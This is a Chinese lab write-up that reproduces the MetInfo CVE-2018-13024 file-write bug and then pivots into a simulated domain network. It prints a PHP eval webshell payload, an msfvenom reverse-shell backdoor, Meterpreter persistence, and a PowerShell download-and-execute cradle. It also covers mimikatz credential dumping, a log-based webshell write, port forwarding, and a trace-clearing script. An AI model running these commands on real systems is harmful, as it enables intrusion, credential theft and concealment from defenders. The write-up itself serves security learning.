CVE-2018-13024复现及一次简单的内网渗透

栏目: 编程工具 · 发布时间: 5年前

内容简介:*本文原创作者:twosmi1e,本文属于FreeBuf原创奖励计划,未经许可禁止转载攻击机:kali linux及Windows10(本机)边缘机:Windows 2003 公网IP:192.168.61.140 内网IP:192.168.129.139

*本文原创作者:twosmi1e,本文属于FreeBuf原创奖励计划,未经许可禁止转载

0×00 环境搭建

攻击机:kali linux及Windows10(本机)

边缘机:Windows 2003 公网IP:192.168.61.140 内网IP:192.168.129.139

靶机:Windows 2008 内网IP192.168.129.130

CVE-2018-13024复现及一次简单的内网渗透

0×01 引言

漏洞概述

MetInfo是中国米拓信息技术有限公司的一套使用 PHPMysql 开发的内容管理系统(CMS)。Metinfo 6.0.0版本中存在安全漏洞。远程攻击者可通过向admin/column/save.php文件发送‘module’参数利用该漏洞向.php文件写入代码并执行该代码。

影响版本

MetInfo 5.3.16MetInfo 6.0.0

漏洞分析

漏洞发生在metinfo6.0.0\admin\column\save.php的column_copyconfig函数。 CVE-2018-13024复现及一次简单的内网渗透 跟进 column_copyconfigCVE-2018-13024复现及一次简单的内网渗透 跟进 Copyindx()CVE-2018-13024复现及一次简单的内网渗透

/*复制首页*/
function Copyindx($newindx,$type){
    if(!file_exists($newindx)){
        $oldcont ="<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>";

        $fp = fopen($newindx,w);
        fputs($fp, $oldcont);
        fclose($fp);
    }
}

可以看到这里将 $type 变量直接写入了文件中,而 $type 变量一直可以追溯到column_copyconfig的 $module 变量而metinfo一个经典的伪全局变量覆盖,在 metinfo6.0.0\admin\include\common.inc.php 中。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
        $_M['form'][$_key]=daddslashes($_value,0,0,1);
    }
}

这样我们可以通过传入get参数,覆盖$module变量,导致任意文件写入。

0×02 边缘机渗透

信息收集

访问网站: CVE-2018-13024复现及一次简单的内网渗透 进行whoami,后台扫描,目录扫描,端口扫描等常见信息收集,通过HTTP报文响应头部可初步判断网站技术架构。 CVE-2018-13024复现及一次简单的内网渗透 发现网站为metinfo5.3.19: CVE-2018-13024复现及一次简单的内网渗透

获取webshell

查找漏洞

Metinfo6.0.0之前版本存在后台getshell漏洞,登入后台即可使用payload getshell。

爆破后台

扫出后台目录为/admin弱口令爆破admin,admin登入后台。

getshell

Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST['a']);/*

菜刀连接

Shell在upload目录下的index.php,使用蚁剑连接。 CVE-2018-13024复现及一次简单的内网渗透 看一下权限administrator,不用提权了。 CVE-2018-13024复现及一次简单的内网渗透

使用msf进行后渗透

msf生成后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.3 -f exe>twosmile.exe 传到目标机: CVE-2018-13024复现及一次简单的内网渗透 然后用虚拟终端运行: CVE-2018-13024复现及一次简单的内网渗透 在kali上可以看到 shell 反弹回来: CVE-2018-13024复现及一次简单的内网渗透 查看进程: CVE-2018-13024复现及一次简单的内网渗透 使用 migrate 迁移进程: CVE-2018-13024复现及一次简单的内网渗透

域信息收集

使用域下常见信息收集命令进行信息收集如getuid,systeminfo,ipconfigall,net user,net view等等。 CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 发现两张网卡两个IP,确定有内网无误,使用msf进行getsystem: CVE-2018-13024复现及一次简单的内网渗透 其他msf信息收集命令:

run post/windows/gather/checkvm  #是否虚拟机

run post/linux/gather/checkvm  #是否虚拟机

run post/windows/gather/forensics/enum_drives  #查看分区

run post/windows/gather/enum_applications  #获取安装软件信息

run post/windows/gather/dumplinks  #获取最近的文件操作

run post/windows/gather/enum_ie  #获取IE缓存

run post/windows/gather/enum_chrome  #获取Chrome缓存

run post/windows/gather/enum_patches  #补丁信息

run post/windows/gather/enum_domain  #查找域控

获取密码

使用msf:

load mimikatz
kerberos

CVE-2018-13024复现及一次简单的内网渗透 失败,尝试hashdump: CVE-2018-13024复现及一次简单的内网渗透 破解hash: CVE-2018-13024复现及一次简单的内网渗透

权限维持

通过Meterpretershell获取持久性shell的方法有两种,这里我使用的是第一种。

Persistence模块

CVE-2018-13024复现及一次简单的内网渗透 运行 run persistence -U -i 10 -p 4444 -r 192.168.61.3CVE-2018-13024复现及一次简单的内网渗透

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。

这样重启后任然会有shell反弹。

Metsvc模块

CVE-2018-13024复现及一次简单的内网渗透 这个模块是直接开启服务 监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。

powershell权限维持

powershell脚本: https://github.com/re4lity/Schtasks-Backdoor 使用方法见Readme文件。

powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.61.140/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.61.3 -port 53 -time 2"

192.168.61.140 本地服务器。

192.168.61.3 nc主机。

开启3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

中文会乱码: CVE-2018-13024复现及一次简单的内网渗透 输入之前抓到的用户名密码: CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 登入远程桌面后也可以收集一波信息: CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 域控IP: CVE-2018-13024复现及一次简单的内网渗透

其他常用命令:

ipconfig /all 查看本机IP,所在域
net user /domain 查询域用户
net group /domain —— 查询域里面的工作组
net group “domain admins” /domain —— 查询域管理员用户组
ping D1.com 查看域控的IPnltest /dclist:d1 查看域控名字
net time /domain 查看时间,域控机器名
net view 显示域中的计算机名列表
net view /domain:D1 显示指定域中机器名
net user /domain 查看当前域中的用户
net group “domain admins” /domain 查询域管理员用户组
net config workstation 显示更改可配置工作站参数,也可以获得登录域,机器名等信息
net accounts查看本地密码策略
netstat –an/ano/anb网络连接查询
route print路由表
dsquery,可以用来收集跨域的信息,但是跨域执行的前提是必须建立信任关系

这些命令也可以直接在msf中输入 shell 命令执行。

0×03 内网渗透

查看arp缓存

arp:

CVE-2018-13024复现及一次简单的内网渗透

route:

CVE-2018-13024复现及一次简单的内网渗透

添加路由

CVE-2018-13024复现及一次简单的内网渗透

端口扫描

CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透

445端口看一下是否能用ms17010: CVE-2018-13024复现及一次简单的内网渗透

不能打,用边缘机远程桌面看看80端口有什么服务。

webshell

CVE-2018-13024复现及一次简单的内网渗透 有apache phpmyadmin记下绝对路径 C:/phpStudy/PHPTutorial/WWW

尝试弱口令登入phpmyadmin然后日志写shell:

show variables like '%general%';
set global general_log = on;
set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/shell.php';
select '<?php eval($_POST['a']);?>'

CVE-2018-13024复现及一次简单的内网渗透 报错无所谓 已经存进日志了,然后传个菜刀到边缘机,用边缘机连一下: CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透

开3389

CVE-2018-13024复现及一次简单的内网渗透 传个脚本上去抓hash: CVE-2018-13024复现及一次简单的内网渗透 mimikatz也可以: CVE-2018-13024复现及一次简单的内网渗透

privilege::debug

sekurlsa::logonPasswords

CVE-2018-13024复现及一次简单的内网渗透

端口转发

上传htran: CVE-2018-13024复现及一次简单的内网渗透 htran -p -tran 8888 192.168.129.130 3389 将域控3389转发到边缘机8888再连边缘机ip(192.168.61.140:8888)远程桌面: CVE-2018-13024复现及一次简单的内网渗透 连接成功。

痕迹清除

简单清除一下,动静还是比较大的;

msf中clearev: CVE-2018-13024复现及一次简单的内网渗透 3389痕迹清除脚本:

echo off
color 0A
title 3389连接痕迹清除
mode con cols=88 lines=20
set /p fk= 确定要清空3389连接痕迹吗?(y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n
call %0

:y
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f
del /a /f /q %HOMEPATH%\Documents\Default.rdp
echo 命令执行成功,请手动查看是否清除。
pause >nul

:n
exit

然后再删掉你上传的所有文件,收工。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程式之美-微軟技術面試心得

程式之美-微軟技術面試心得

編程之美小 / 悅知文化 / 2008.06.20 / 490元

書內容分為以下幾個部分: ▓ 遊戲之樂:從遊戲和其他有趣問題出發,化繁為簡,分析總結。 ▓ 數字之魅:程式設計的過程實際上就是和數字及字元打交道的過程。這一部分收集了一些這方面的有趣探討。 ▓ 結構之法:彙集了常見的對字串、鏈表、佇列,以及樹進行操作的題目。 ▓ 數學之趣:列舉了一些不需要寫具體程式的數學問題,鍛煉讀者的抽象思考能力。 ▓ 書中絕大部分題目都提供了詳細......一起来看看 《程式之美-微軟技術面試心得》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具